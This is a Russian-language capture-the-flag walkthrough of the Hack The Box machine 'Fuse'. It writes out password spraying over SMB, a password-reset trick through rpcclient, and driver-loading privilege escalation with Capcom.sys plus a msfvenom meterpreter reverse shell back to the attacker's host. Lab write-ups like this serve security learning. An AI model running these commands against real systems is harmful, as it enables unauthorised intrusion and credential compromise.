Hack The Box. Прохождение Fuse. RPC, принтеры и опасная привилегия SeLoadDriverPrivilege


Продолжаю публикацию решений, отправленных на дорешивание машин с площадки HackTheBox.

В данной статье создадим словарик паролей из косвенной информации о пользователях, посмотрим на информацию о принтерах с точки зрения RPC и повышаем привилегии благодаря SeLoadDriverPrivilege.

Организационная информация

Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Recon

Данная машина имеет IP адрес 10.10.10.193, который я добавляю в /etc/hosts.

10.10.10.193 	fuse.htb

Первым делом сканируем открытые порты. Я это делаю с помощью следующего скрипта, принимающего один аргумент — адрес сканируемого хоста:

#!/bin/bash ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) nmap -p$ports -A $1

Давайте добавим FQDN имя машины в /etc/hosts.

10.10.10.193    fuse.fabricorp.local

И на хосте работает веб-сервер. Давайте посмотрим, что там есть.

Нас встречает сайт с принтерами и мы можем скачать 4 документа, что давайте и сделаем.

Так как больше никаких векторов не находим, давай отметим для себя имена пользователей.

cat *.csv | grep 2020 | cut -d ',' -f 2 | sort | uniq

Также создадим список паролей из информации в документах.

cat *.csv | grep 2020 | cut -d ',' -f2,5-7 | tr -d '"' | tr '.' '\n' | tr ',' '\n' | tr -d ' ' | tr '-' '\n' | sort | uniq | tail -n+4

И теперь попробуем брутить, к примеру SMB.

cme smb 10.10.10.193 -u users.txt -p pass.txt --continue-on-success

И есть сообщение, что пароль для пользователя должен быть изменен.

Entry point

Давайте это и сделаем. Зададим тот же пароль.

smbpasswd -r 10.10.10.193 -U bhult

Но у нас есть несколько секунд, и пароль становится недействительным.

Поэтому выполняем две команды в связке.

smbpasswd -r 10.10.10.193 -U bhult ; rpcclient -U bhult 10.10.10.193

Давайте просмотрим всех пользователей, сделаем этот с помощью RPC.

USER

И находим интересного пользователя. Учитывая все тему с принтерами, которых уже длится все время, давайте посмотрим принтеры.

И находим пароль. Создадим список из уже действительных пользователей.

А вот теперь попробуем данный пароль для всех пользователей.

sudo cme smb 10.10.10.193 -u users.txt -p '$fab@s3Rv1ce$1' --continue-on-success

И находим двух пользователей. И у нас получается подключиться к WinRM и забрать первый флаг.

ROOT

Посмотрим информацию о текущем пользователе.

И наблюдаем привилегию SeLoadDriverPrivilege. И тут есть вектор LPE. Нам понадобятся следующее ПО: Capcom.sys, EoPLoadDriver и шелл meterpreter. Давайте создадим его.

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.15.160 LPORT=4321 -f exe -o e.exe

И активируем листенер. Загрузим все на хост и запустим эксплоит meterpreter.

handler -p windows/x64/meterpreter/reverse_tcp -H 10.10.15.160 -P 4321

Теперь нужно загрузить драйвер.

.\eoploaddriver.exe System\CurrentControlSet\custom C:\Users\svc-print\Documents\Capcom.sys

И перед запуском эксплоита нужно немного его поправить. Давайте закомментируем следующие строки в файле /usr/share/metasploit-framework/modules/exploits/windows/local/capcom_sys_exec.rb.

И выполняем.

Как результат, создана новая сессия от имени SYSTEM. Вот к чему может привести привилегия SeLoadDriverPrivilege.

Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.

ссылка на оригинал статьи https://habr.com/ru/post/525580/

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *